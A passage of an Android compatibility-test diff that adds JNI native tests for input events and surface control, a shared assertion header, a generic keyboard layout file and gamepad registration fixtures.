+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AInputNativeTest"
+
+#include <jni.h>
+#include <jniAssert.h>
+#include <math.h>
+#include <array>
+#include <cinttypes>
+#include <string>
+
+#include <android/input.h>
+#include <android/log.h>
+#include <nativehelper/JNIHelp.h>
+
+namespace {
+
+static struct MotionEventMethodId {
+    jmethodID getDownTime;
+    jmethodID getEventTime;
+    jmethodID getMetaState;
+    jmethodID getAction;
+    jmethodID getPointerCount;
+    jmethodID getRawX;
+    jmethodID getRawY;
+} gMotionEventMethodIds;
+
+static struct KeyEventMethodId {
+    jmethodID getDownTime;
+    jmethodID getEventTime;
+    jmethodID getAction;
+    jmethodID getKeyCode;
+} gKeyEventMethodIds;
+
+static constexpr int64_t NS_PER_MS = 1000000LL;
+
+void nativeMotionEventTest(JNIEnv *env, jclass /* clazz */, jobject obj) {
+    const AInputEvent *event = AMotionEvent_fromJava(env, obj);
+    jint action = env->CallIntMethod(obj, gMotionEventMethodIds.getAction);
+    jlong downTime = env->CallLongMethod(obj, gMotionEventMethodIds.getDownTime) * NS_PER_MS;
+    jlong eventTime = env->CallLongMethod(obj, gMotionEventMethodIds.getEventTime) * NS_PER_MS;
+    jint metaState = env->CallIntMethod(obj, gMotionEventMethodIds.getMetaState);
+    jint pointerCount = env->CallIntMethod(obj, gMotionEventMethodIds.getPointerCount);
+
+    ASSERT(AInputEvent_getType(event) == AINPUT_EVENT_TYPE_MOTION, "Wrong event type %d.",
+           AInputEvent_getType(event));
+
+    ASSERT(action == AMotionEvent_getAction(event), "Wrong action %d not equal to %d",
+           AMotionEvent_getAction(event), action);
+
+    ASSERT(downTime == AMotionEvent_getDownTime(event),
+           "Wrong downTime %" PRId64 " not equal to %" PRId64, AMotionEvent_getDownTime(event),
+           downTime);
+
+    ASSERT(eventTime == AMotionEvent_getEventTime(event),
+           "Wrong eventTime %" PRId64 " not equal to %" PRId64, AMotionEvent_getEventTime(event),
+           eventTime);
+
+    ASSERT(metaState == AMotionEvent_getMetaState(event), "Wrong metaState %d not equal to %d",
+           AMotionEvent_getMetaState(event), metaState);
+
+    ASSERT(AMotionEvent_getPointerCount(event) == pointerCount,
+           "Wrong pointer count %zu not equal to %d", AMotionEvent_getPointerCount(event),
+           pointerCount);
+
+    for (int i = 0; i < pointerCount; i++) {
+        jfloat rawX = env->CallFloatMethod(obj, gMotionEventMethodIds.getRawX, i);
+        jfloat rawY = env->CallFloatMethod(obj, gMotionEventMethodIds.getRawY, i);
+        ASSERT(fabs(rawX - AMotionEvent_getRawX(event, i)) == 0.0f, "Point X:%f not same as %f",
+               AMotionEvent_getRawX(event, i), rawX);
+
+        ASSERT(fabs(rawY - AMotionEvent_getRawY(event, i)) == 0.0f, "Point Y:%f not same as %f",
+               AMotionEvent_getRawY(event, i), rawY);
+    }
+    AInputEvent_release(event);
+}
+
+void nativeKeyEventTest(JNIEnv *env, jclass /* clazz */, jobject obj) {
+    const AInputEvent *event = AKeyEvent_fromJava(env, obj);
+    jint action = env->CallIntMethod(obj, gKeyEventMethodIds.getAction);
+    jlong downTime = env->CallLongMethod(obj, gKeyEventMethodIds.getDownTime) * NS_PER_MS;
+    jlong eventTime = env->CallLongMethod(obj, gKeyEventMethodIds.getEventTime) * NS_PER_MS;
+    jint keyCode = env->CallIntMethod(obj, gKeyEventMethodIds.getKeyCode);
+
+    ASSERT(AInputEvent_getType(event) == AINPUT_EVENT_TYPE_KEY, "Wrong event type %d.",
+           AInputEvent_getType(event));
+
+    ASSERT(action == AKeyEvent_getAction(event), "Wrong action %d not equal to %d",
+           AKeyEvent_getAction(event), action);
+
+    ASSERT(downTime == AKeyEvent_getDownTime(event),
+           "Wrong downTime %" PRId64 " not equal to %" PRId64, AKeyEvent_getDownTime(event),
+           downTime);
+
+    ASSERT(eventTime == AKeyEvent_getEventTime(event),
+           "Wrong eventTime %" PRId64 " not equal to %" PRId64, AKeyEvent_getEventTime(event),
+           eventTime);
+
+    ASSERT(keyCode == AKeyEvent_getKeyCode(event), "Wrong keyCode %d not equal to %d",
+           AKeyEvent_getAction(event), action);
+
+    AInputEvent_release(event);
+}
+
+const std::array<JNINativeMethod, 1> JNI_METHODS_MOTION = {{
+        {"nativeMotionEventTest", "(Landroid/view/MotionEvent;)V", (void *)nativeMotionEventTest},
+}};
+
+const std::array<JNINativeMethod, 1> JNI_METHODS_KEY = {{
+        {"nativeKeyEventTest", "(Landroid/view/KeyEvent;)V", (void *)nativeKeyEventTest},
+}};
+
+} // anonymous namespace
+
+jint register_android_view_cts_AMotionEventNativeTest(JNIEnv *env) {
+    jclass clazz = env->FindClass("android/view/MotionEvent");
+    gMotionEventMethodIds.getAction = env->GetMethodID(clazz, "getAction", "()I");
+    gMotionEventMethodIds.getMetaState = env->GetMethodID(clazz, "getMetaState", "()I");
+    gMotionEventMethodIds.getDownTime = env->GetMethodID(clazz, "getDownTime", "()J");
+    gMotionEventMethodIds.getEventTime = env->GetMethodID(clazz, "getEventTime", "()J");
+    gMotionEventMethodIds.getPointerCount = env->GetMethodID(clazz, "getPointerCount", "()I");
+    gMotionEventMethodIds.getRawX = env->GetMethodID(clazz, "getRawX", "(I)F");
+    gMotionEventMethodIds.getRawY = env->GetMethodID(clazz, "getRawY", "(I)F");
+    jclass clazzTest = env->FindClass("android/view/cts/MotionEventTest");
+    return env->RegisterNatives(clazzTest, JNI_METHODS_MOTION.data(), JNI_METHODS_MOTION.size());
+}
+
+jint register_android_view_cts_AKeyEventNativeTest(JNIEnv *env) {
+    jclass clazz = env->FindClass("android/view/KeyEvent");
+    gKeyEventMethodIds.getAction = env->GetMethodID(clazz, "getAction", "()I");
+    gKeyEventMethodIds.getKeyCode = env->GetMethodID(clazz, "getKeyCode", "()I");
+    gKeyEventMethodIds.getDownTime = env->GetMethodID(clazz, "getDownTime", "()J");
+    gKeyEventMethodIds.getEventTime = env->GetMethodID(clazz, "getEventTime", "()J");
+    jclass clazzTest = env->FindClass("android/view/cts/KeyEventTest");
+    return env->RegisterNatives(clazzTest, JNI_METHODS_KEY.data(), JNI_METHODS_KEY.size());
+}
diff --git a/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp b/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
index 3bc8890..49626a8 100644
--- a/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
@@ -33,32 +33,11 @@
 
 #include <errno.h>
 #include <jni.h>
+#include <jniAssert.h>
 #include <time.h>
 
 namespace {
 
-// Raises a java exception
-static void fail(JNIEnv* env, const char* format, ...) {
-    va_list args;
-
-    va_start(args, format);
-    char* msg;
-    vasprintf(&msg, format, args);
-    va_end(args);
-
-    jclass exClass;
-    const char* className = "java/lang/AssertionError";
-    exClass = env->FindClass(className);
-    env->ThrowNew(exClass, msg);
-    free(msg);
-}
-
-#define ASSERT(condition, format, args...) \
-    if (!(condition)) {                    \
-        fail(env, format, ##args);         \
-        return;                            \
-    }
-
 #define NANOS_PER_SECOND 1000000000LL
 int64_t systemTime() {
     struct timespec time;
@@ -205,6 +184,10 @@
     return reinterpret_cast<jlong>(surfaceControl);
 }
 
+void SurfaceControl_acquire(JNIEnv* /*env*/, jclass, jlong surfaceControl) {
+    ASurfaceControl_acquire(reinterpret_cast<ASurfaceControl*>(surfaceControl));
+}
+
 void SurfaceControl_release(JNIEnv* /*env*/, jclass, jlong surfaceControl) {
     ASurfaceControl_release(reinterpret_cast<ASurfaceControl*>(surfaceControl));
 }
@@ -465,13 +448,14 @@
             r, g, b, alpha, ADATASPACE_UNKNOWN);
 }
 
-const std::array<JNINativeMethod, 20> JNI_METHODS = {{
+const std::array<JNINativeMethod, 21> JNI_METHODS = {{
     {"nSurfaceTransaction_create", "()J", (void*)SurfaceTransaction_create},
     {"nSurfaceTransaction_delete", "(J)V", (void*)SurfaceTransaction_delete},
     {"nSurfaceTransaction_apply", "(J)V", (void*)SurfaceTransaction_apply},
     {"nSurfaceControl_createFromWindow", "(Landroid/view/Surface;)J",
                                             (void*)SurfaceControl_createFromWindow},
     {"nSurfaceControl_create", "(J)J", (void*)SurfaceControl_create},
+    {"nSurfaceControl_acquire", "(J)V", (void*)SurfaceControl_acquire},
     {"nSurfaceControl_release", "(J)V", (void*)SurfaceControl_release},
     {"nSurfaceTransaction_setSolidBuffer", "(JJIII)J", (void*)SurfaceTransaction_setSolidBuffer},
     {"nSurfaceTransaction_setQuadrantBuffer", "(JJIIIIII)J",
diff --git a/tests/tests/view/jni/android_view_cts_InputDeviceKeyLayoutMapTest.cpp b/tests/tests/view/jni/android_view_cts_InputDeviceKeyLayoutMapTest.cpp
new file mode 100644
index 0000000..4d2c810
--- /dev/null
+++ b/tests/tests/view/jni/android_view_cts_InputDeviceKeyLayoutMapTest.cpp
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <android/input.h>
+
+#include <jni.h>
+
+#include <stdarg.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sstream>
+
+#include <nativehelper/ScopedLocalRef.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <map>
+#include <unordered_map>
+#include <vector>
+
+#define LOG_TAG "InputDeviceKeyLayoutMapTest"
+
+namespace android {
+
+// Loads Generic.kl file and returns it as a std::map from scancode to key code.
+std::map<int, std::string> loadGenericKl(std::string genericKl) {
+    std::map<int, std::string> result;
+    std::istringstream ssFile(genericKl);
+
+    for (std::string line; std::getline(ssFile, line);) {
+        if (line.empty() || line[0] == '#') {
+            // Skip the comment lines
+            continue;
+        }
+
+        std::string type, code, label, flags;
+        std::istringstream ssLine(line);
+        ssLine >> type >> code >> label >> flags;
+
+        // Skip non-key mappings.
+        if (type != "key") {
+            continue;
+        }
+
+        // Skip HID usage keys.
+        if (code == "usage") {
+            continue;
+        }
+
+        // Skip keys with flags like "FUNCTION"
+        if (!flags.empty()) {
+            continue;
+        }
+
+        result.emplace(std::stoi(code), label);
+    }
+
+    return result;
+}
+
+static jobject android_view_cts_nativeLoadKeyLayout(JNIEnv* env, jclass, jstring genericKl) {
+    ScopedUtfChars keyLayout(env, genericKl);
+    if (keyLayout.c_str() == nullptr) {
+        return nullptr;
+    }
+    std::map<int, std::string> map = loadGenericKl(keyLayout.c_str());
+
+    ScopedLocalRef<jclass> hashMapClazz(env, env->FindClass("java/util/HashMap"));
+
+    jmethodID hashMapConstructID = env->GetMethodID(hashMapClazz.get(), "<init>", "()V");
+
+    jmethodID hashMapPutID =
+            env->GetMethodID(hashMapClazz.get(), "put",
+                             "(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;");
+
+    ScopedLocalRef<jclass> integerClazz(env, env->FindClass("java/lang/Integer"));
+
+    jmethodID integerConstructID = env->GetMethodID(integerClazz.get(), "<init>", "(I)V");
+
+    jobject keyLayoutMap = env->NewObject(hashMapClazz.get(), hashMapConstructID);
+
+    for (const auto& [key, label] : map) {
+        env->CallObjectMethod(keyLayoutMap, hashMapPutID, env->NewStringUTF(label.c_str()),
+                              env->NewObject(integerClazz.get(), integerConstructID, key));
+    }
+    return keyLayoutMap;
+}
+
+} // namespace android
+
+static JNINativeMethod gMethods[] = {
+        {"nativeLoadKeyLayout", "(Ljava/lang/String;)Ljava/util/Map;",
+         (void*)android::android_view_cts_nativeLoadKeyLayout},
+};
+
+int register_android_view_cts_InputDeviceKeyLayoutMapTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/view/cts/InputDeviceKeyLayoutMapTest");
+    return env->RegisterNatives(clazz, gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/view/jni/jniAssert.h b/tests/tests/view/jni/jniAssert.h
new file mode 100644
index 0000000..eaf9695
--- /dev/null
+++ b/tests/tests/view/jni/jniAssert.h
@@ -0,0 +1,42 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <nativehelper/JNIHelp.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+// Raises a java exception
+static void fail(JNIEnv *env, const char *format, ...) {
+    va_list args;
+
+    va_start(args, format);
+    char *msg;
+    vasprintf(&msg, format, args);
+    va_end(args);
+
+    jclass exClass;
+    const char *className = "java/lang/AssertionError";
+    exClass = env->FindClass(className);
+    env->ThrowNew(exClass, msg);
+    free(msg);
+}
+
+#define ASSERT(condition, format, args...) \
+    if (!(condition)) {                    \
+        fail(env, format, ##args);         \
+        return;                            \
+    }
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 7f4264f..7743f05 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -223,5 +223,19 @@
         android:id="@+id/transform_matrix_view_2"
         android:layout_width="10px"
         android:layout_height="10px" />
+    <View
+        android:id="@+id/clip_to_outline_unset"
+        android:layout_width="10px"
+        android:layout_height="10px"/>
+    <View
+        android:id="@+id/clip_to_outline_false"
+        android:layout_width="10px"
+        android:layout_height="10px"
+        android:clipToOutline="false" />
+    <View
+        android:id="@+id/clip_to_outline_true"
+        android:layout_width="10px"
+        android:layout_height="10px"
+        android:clipToOutline="true" />
 
 </LinearLayout>
diff --git a/tests/tests/view/res/raw/Generic.kl b/tests/tests/view/res/raw/Generic.kl
new file mode 100644
index 0000000..7c28cbf
--- /dev/null
+++ b/tests/tests/view/res/raw/Generic.kl
@@ -0,0 +1,447 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# Generic key layout file for full alphabetic US English PC style external keyboards.
+#
+# This file is intentionally very generic and is intended to support a broad range of keyboards.
+# Do not edit the generic key layout to support a specific keyboard; instead, create
+# a new key layout file with the required keyboard configuration.
+#
+
+key 1     ESCAPE
+key 2     1
+key 3     2
+key 4     3
+key 5     4
+key 6     5
+key 7     6
+key 8     7
+key 9     8
+key 10    9
+key 11    0
+key 12    MINUS
+key 13    EQUALS
+key 14    DEL
+key 15    TAB
+key 16    Q
+key 17    W
+key 18    E
+key 19    R
+key 20    T
+key 21    Y
+key 22    U
+key 23    I
+key 24    O
+key 25    P
+key 26    LEFT_BRACKET
+key 27    RIGHT_BRACKET
+key 28    ENTER
+key 29    CTRL_LEFT
+key 30    A
+key 31    S
+key 32    D
+key 33    F
+key 34    G
+key 35    H
+key 36    J
+key 37    K
+key 38    L
+key 39    SEMICOLON
+key 40    APOSTROPHE
+key 41    GRAVE
+key 42    SHIFT_LEFT
+key 43    BACKSLASH
+key 44    Z
+key 45    X
+key 46    C
+key 47    V
+key 48    B
+key 49    N
+key 50    M
+key 51    COMMA
+key 52    PERIOD
+key 53    SLASH
+key 54    SHIFT_RIGHT
+key 55    NUMPAD_MULTIPLY
+key 56    ALT_LEFT
+key 57    SPACE
+key 58    CAPS_LOCK
+key 59    F1
+key 60    F2
+key 61    F3
+key 62    F4
+key 63    F5
+key 64    F6
+key 65    F7
+key 66    F8
+key 67    F9
+key 68    F10
+key 69    NUM_LOCK
+key 70    SCROLL_LOCK
+key 71    NUMPAD_7
+key 72    NUMPAD_8
+key 73    NUMPAD_9
+key 74    NUMPAD_SUBTRACT
+key 75    NUMPAD_4
+key 76    NUMPAD_5
+key 77    NUMPAD_6
+key 78    NUMPAD_ADD
+key 79    NUMPAD_1
+key 80    NUMPAD_2
+key 81    NUMPAD_3
+key 82    NUMPAD_0
+key 83    NUMPAD_DOT
+# key 84 (undefined)
+key 85    ZENKAKU_HANKAKU
+key 86    BACKSLASH
+key 87    F11
+key 88    F12
+key 89    RO
+# key 90 "KEY_KATAKANA"
+# key 91 "KEY_HIRAGANA"
+key 92    HENKAN
+key 93    KATAKANA_HIRAGANA
+key 94    MUHENKAN
+key 95    NUMPAD_COMMA
+key 96    NUMPAD_ENTER
+key 97    CTRL_RIGHT
+key 98    NUMPAD_DIVIDE
+key 99    SYSRQ
+key 100   ALT_RIGHT
+# key 101 "KEY_LINEFEED"
+key 102   MOVE_HOME
+key 103   DPAD_UP
+key 104   PAGE_UP
+key 105   DPAD_LEFT
+key 106   DPAD_RIGHT
+key 107   MOVE_END
+key 108   DPAD_DOWN
+key 109   PAGE_DOWN
+key 110   INSERT
+key 111   FORWARD_DEL
+# key 112 "KEY_MACRO"
+key 113   VOLUME_MUTE
+key 114   VOLUME_DOWN
+key 115   VOLUME_UP
+key 116   POWER
+key 117   NUMPAD_EQUALS
+# key 118 "KEY_KPPLUSMINUS"
+key 119   BREAK
+# key 120 (undefined)
+key 121   NUMPAD_COMMA
+key 122   KANA
+key 123   EISU
+key 124   YEN
+key 125   META_LEFT
+key 126   META_RIGHT
+key 127   MENU
+key 128   MEDIA_STOP
+# key 129 "KEY_AGAIN"
+# key 130 "KEY_PROPS"
+# key 131 "KEY_UNDO"
+# key 132 "KEY_FRONT"
+key 133   COPY
+# key 134 "KEY_OPEN"
+key 135   PASTE
+# key 136 "KEY_FIND"
+key 137   CUT
+# key 138 "KEY_HELP"
+key 139   MENU
+key 140   CALCULATOR
+# key 141 "KEY_SETUP"
+key 142   SLEEP
+key 143   WAKEUP
+# key 144 "KEY_FILE"
+# key 145 "KEY_SENDFILE"
+# key 146 "KEY_DELETEFILE"
+# key 147 "KEY_XFER"
+# key 148 "KEY_PROG1"
+# key 149 "KEY_PROG2"
+key 150   EXPLORER
+# key 151 "KEY_MSDOS"
+key 152   POWER
+# key 153 "KEY_DIRECTION"
+# key 154 "KEY_CYCLEWINDOWS"
+key 155   ENVELOPE
+key 156   BOOKMARK
+# key 157 "KEY_COMPUTER"
+key 158   BACK
+key 159   FORWARD
+key 160   MEDIA_CLOSE
+key 161   MEDIA_EJECT
+key 162   MEDIA_EJECT
+key 163   MEDIA_NEXT
+key 164   MEDIA_PLAY_PAUSE
+key 165   MEDIA_PREVIOUS
+key 166   MEDIA_STOP
+key 167   MEDIA_RECORD
+key 168   MEDIA_REWIND
+key 169   CALL
+# key 170 "KEY_ISO"
+key 171   MUSIC
+key 172   HOME
+key 173   REFRESH
+# key 174 "KEY_EXIT"
+# key 175 "KEY_MOVE"
+# key 176 "KEY_EDIT"
+key 177   PAGE_UP
+key 178   PAGE_DOWN
+key 179   NUMPAD_LEFT_PAREN
+key 180   NUMPAD_RIGHT_PAREN
+# key 181 "KEY_NEW"
+# key 182 "KEY_REDO"
+# key 183   F13
+# key 184   F14
+# key 185   F15
+# key 186   F16
+# key 187   F17
+# key 188   F18
+# key 189   F19
+# key 190   F20
+# key 191   F21
+# key 192   F22
+# key 193   F23
+# key 194   F24
+# key 195 (undefined)
+# key 196 (undefined)
+# key 197 (undefined)
+# key 198 (undefined)
+# key 199 (undefined)
+key 200   MEDIA_PLAY
+key 201   MEDIA_PAUSE
+# key 202 "KEY_PROG3"
+# key 203 "KEY_PROG4"
+# key 204 (undefined)
+# key 205 "KEY_SUSPEND"
+# key 206 "KEY_CLOSE"
+key 207   MEDIA_PLAY
+key 208   MEDIA_FAST_FORWARD
+# key 209 "KEY_BASSBOOST"
+# key 210 "KEY_PRINT"
+# key 211 "KEY_HP"
+key 212   CAMERA
+key 213   MUSIC
+# key 214 "KEY_QUESTION"
+key 215   ENVELOPE
+# key 216 "KEY_CHAT"
+key 217   SEARCH
+# key 218 "KEY_CONNECT"
+# key 219 "KEY_FINANCE"
+# key 220 "KEY_SPORT"
+# key 221 "KEY_SHOP"
+# key 222 "KEY_ALTERASE"
+# key 223 "KEY_CANCEL"
+key 224   BRIGHTNESS_DOWN
+key 225   BRIGHTNESS_UP
+key 226   HEADSETHOOK
+
+key 256   BUTTON_1
+key 257   BUTTON_2
+key 258   BUTTON_3
+key 259   BUTTON_4
+key 260   BUTTON_5
+key 261   BUTTON_6
+key 262   BUTTON_7
+key 263   BUTTON_8
+key 264   BUTTON_9
+key 265   BUTTON_10
+key 266   BUTTON_11
+key 267   BUTTON_12
+key 268   BUTTON_13
+key 269   BUTTON_14
+key 270   BUTTON_15
+key 271   BUTTON_16
+
+key 288   BUTTON_1
+key 289   BUTTON_2
+key 290   BUTTON_3
+key 291   BUTTON_4
+key 292   BUTTON_5
+key 293   BUTTON_6
+key 294   BUTTON_7
+key 295   BUTTON_8
+key 296   BUTTON_9
+key 297   BUTTON_10
+key 298   BUTTON_11
+key 299   BUTTON_12
+key 300   BUTTON_13
+key 301   BUTTON_14
+key 302   BUTTON_15
+key 303   BUTTON_16
+
+
+key 304   BUTTON_A
+key 305   BUTTON_B
+key 306   BUTTON_C
+key 307   BUTTON_X
+key 308   BUTTON_Y
+key 309   BUTTON_Z
+key 310   BUTTON_L1
+key 311   BUTTON_R1
+key 312   BUTTON_L2
+key 313   BUTTON_R2
+key 314   BUTTON_SELECT
+key 315   BUTTON_START
+key 316   BUTTON_MODE
+key 317   BUTTON_THUMBL
+key 318   BUTTON_THUMBR
+
+
+# key 352 "KEY_OK"
+key 353   DPAD_CENTER
+# key 354 "KEY_GOTO"
+# key 355 "KEY_CLEAR"
+# key 356 "KEY_POWER2"
+# key 357 "KEY_OPTION"
+# key 358 "KEY_INFO"
+# key 359 "KEY_TIME"
+# key 360 "KEY_VENDOR"
+# key 361 "KEY_ARCHIVE"
+key 362   GUIDE
+# key 363 "KEY_CHANNEL"
+# key 364 "KEY_FAVORITES"
+# key 365 "KEY_EPG"
+key 366   DVR
+# key 367 "KEY_MHP"
+# key 368 "KEY_LANGUAGE"
+# key 369 "KEY_TITLE"
+key 370   CAPTIONS
+# key 371 "KEY_ANGLE"
+# key 372 "KEY_ZOOM"
+# key 373 "KEY_MODE"
+# key 374 "KEY_KEYBOARD"
+# key 375 "KEY_SCREEN"
+# key 376 "KEY_PC"
+key 377   TV
+# key 378 "KEY_TV2"
+# key 379 "KEY_VCR"
+# key 380 "KEY_VCR2"
+# key 381 "KEY_SAT"
+# key 382 "KEY_SAT2"
+# key 383 "KEY_CD"
+# key 384 "KEY_TAPE"
+# key 385 "KEY_RADIO"
+# key 386 "KEY_TUNER"
+# key 387 "KEY_PLAYER"
+# key 388 "KEY_TEXT"
+# key 389 "KEY_DVD"
+# key 390 "KEY_AUX"
+# key 391 "KEY_MP3"
+# key 392 "KEY_AUDIO"
+# key 393 "KEY_VIDEO"
+# key 394 "KEY_DIRECTORY"
+# key 395 "KEY_LIST"
+# key 396 "KEY_MEMO"
+key 397   CALENDAR
+key 398   PROG_RED
+key 399   PROG_GREEN
+key 400   PROG_YELLOW
+key 401   PROG_BLUE
+key 402   CHANNEL_UP
+key 403   CHANNEL_DOWN
+# key 404 "KEY_FIRST"
+key 405   LAST_CHANNEL
+# key 406 "KEY_AB"
+# key 407 "KEY_NEXT"
+# key 408 "KEY_RESTART"
+# key 409 "KEY_SLOW"
+# key 410 "KEY_SHUFFLE"
+# key 411 "KEY_BREAK"
+# key 412 "KEY_PREVIOUS"
+# key 413 "KEY_DIGITS"
+# key 414 "KEY_TEEN"
+# key 415 "KEY_TWEN"
+
+key 429   CONTACTS
+
+# key 448 "KEY_DEL_EOL"
+# key 449 "KEY_DEL_EOS"
+# key 450 "KEY_INS_LINE"
+# key 451 "KEY_DEL_LINE"
+
+
+key 464   FUNCTION
+key 465   ESCAPE            FUNCTION
+key 466   F1                FUNCTION
+key 467   F2                FUNCTION
+key 468   F3                FUNCTION
+key 469   F4                FUNCTION
+key 470   F5                FUNCTION
+key 471   F6                FUNCTION
+key 472   F7                FUNCTION
+key 473   F8                FUNCTION
+key 474   F9                FUNCTION
+key 475   F10               FUNCTION
+key 476   F11               FUNCTION
+key 477   F12               FUNCTION
+key 478   1                 FUNCTION
+key 479   2                 FUNCTION
+key 480   D                 FUNCTION
+key 481   E                 FUNCTION
+key 482   F                 FUNCTION
+key 483   S                 FUNCTION
+key 484   B                 FUNCTION
+
+
+# key 497 KEY_BRL_DOT1
+# key 498 KEY_BRL_DOT2
+# key 499 KEY_BRL_DOT3
+# key 500 KEY_BRL_DOT4
+# key 501 KEY_BRL_DOT5
+# key 502 KEY_BRL_DOT6
+# key 503 KEY_BRL_DOT7
+# key 504 KEY_BRL_DOT8
+
+key 522   STAR
+key 523   POUND
+key 580   APP_SWITCH
+key 582   VOICE_ASSIST
+# Linux KEY_ASSISTANT
+key 583   ASSIST
+
+# Keys defined by HID usages
+key usage 0x0c0067 WINDOW
+key usage 0x0c006F BRIGHTNESS_UP
+key usage 0x0c0070 BRIGHTNESS_DOWN
+key usage 0x0c0173 MEDIA_AUDIO_TRACK
+
+# Joystick and game controller axes.
+# Axes that are not mapped will be assigned generic axis numbers by the input subsystem.
+axis 0x00 X
+axis 0x01 Y
+axis 0x02 Z
+axis 0x03 RX
+axis 0x04 RY
+axis 0x05 RZ
+axis 0x06 THROTTLE
+axis 0x07 RUDDER
+axis 0x08 WHEEL
+axis 0x09 GAS
+axis 0x0a BRAKE
+axis 0x10 HAT_X
+axis 0x11 HAT_Y
+
+# LEDs
+led 0x00 NUM_LOCK
+led 0x01 CAPS_LOCK
+led 0x02 SCROLL_LOCK
+led 0x03 COMPOSE
+led 0x04 KANA
+led 0x05 SLEEP
+led 0x06 SUSPEND
+led 0x07 MUTE
+led 0x08 MISC
+led 0x09 MAIL
+led 0x0a CHARGING
diff --git a/tests/tests/view/res/raw/gamepad_sensors_register.json b/tests/tests/view/res/raw/gamepad_sensors_register.json
new file mode 100644
index 0000000..abd0e5f
--- /dev/null
+++ b/tests/tests/view/res/raw/gamepad_sensors_register.json
@@ -0,0 +1,68 @@
+{
+    "id": 1,
+    "type": "uinput",
+    "command": "register",
+    "name": "Gamepad with Motion Sensors (USB Test)",
+    "vid": 0x054c,
+    "pid": 0x05c4,
+    "bus": "usb",
+    "configuration":[
+        {"type":100, "data":[1, 3, 4, 21]},  // UI_SET_EVBIT : EV_KEY EV_ABS EV_MSC and EV_FF
+        {"type":101, "data":[11, 2, 3, 4]},   // UI_SET_KEYBIT : KEY_0 KEY_1 KEY_2 KEY_3
+        {"type":107, "data":[80]},    //  UI_SET_FFBIT : FF_RUMBLE
+        {"type":110, "data":[6]},    //  UI_SET_PROP :  INPUT_PROP_ACCELEROMETER
+        {"type":104, "data":[5]},        // UI_SET_MSCBIT : MSC_TIMESTAMP
+        {"type":103, "data":[0, 1, 2, 3, 4, 5]}   // UI_SET_ABSBIT : ABS_X/Y/Z/RX/RY/RZ
+    ],
+    "ff_effects_max" : 1,
+    "abs_info": [
+        {"code":0, "info": {       // ABS_X
+            "value": 100,
+            "minimum": -32768,
+            "maximum": 32768,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 8192
+        }},
+        {"code":1, "info": {       // ABS_Y
+            "value": 100,
+            "minimum": -32768,
+            "maximum": 32768,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 8192
+        }},
+        {"code":2, "info": {       // ABS_Z
+            "value": 100,
+            "minimum": -32768,
+            "maximum": 32768,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 8192
+        }},
+        {"code":3, "info": {       // ABS_RX
+            "value": 100,
+            "minimum": -2097152,
+            "maximum": 2097152,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 1024
+        }},
+        {"code":4, "info": {       // ABS_RY
+            "value": 100,
+            "minimum": -2097152,
+            "maximum": 2097152,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 1024
+        }},
+        {"code":5, "info": {       // ABS_RZ
+            "value": 100,
+            "minimum": -2097152,
+            "maximum": 2097152,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 1024
+        }}
+    ]
+}
diff --git a/tests/tests/view/res/raw/google_gamepad_register.json b/tests/tests/view/res/raw/google_gamepad_register.json
new file mode 100644
index 0000000..6d398d0
--- /dev/null
+++ b/tests/tests/view/res/raw/google_gamepad_register.json
@@ -0,0 +1,15 @@
+{
+    "id": 1,
+    "type": "uinput",
+    "command": "register",
+    "name": "Gamepad FF (USB Test)",
+    "vid": 0x18d1,
+    "pid": 0xabcd,
+    "bus": "usb",
+    "configuration":[
+        {"type":100, "data":[1, 21]},  // UI_SET_EVBIT : EV_KEY and EV_FF
+        {"type":101, "data":[11, 2, 3, 4]},   // UI_SET_KEYBIT : KEY_0 KEY_1 KEY_2 KEY_3
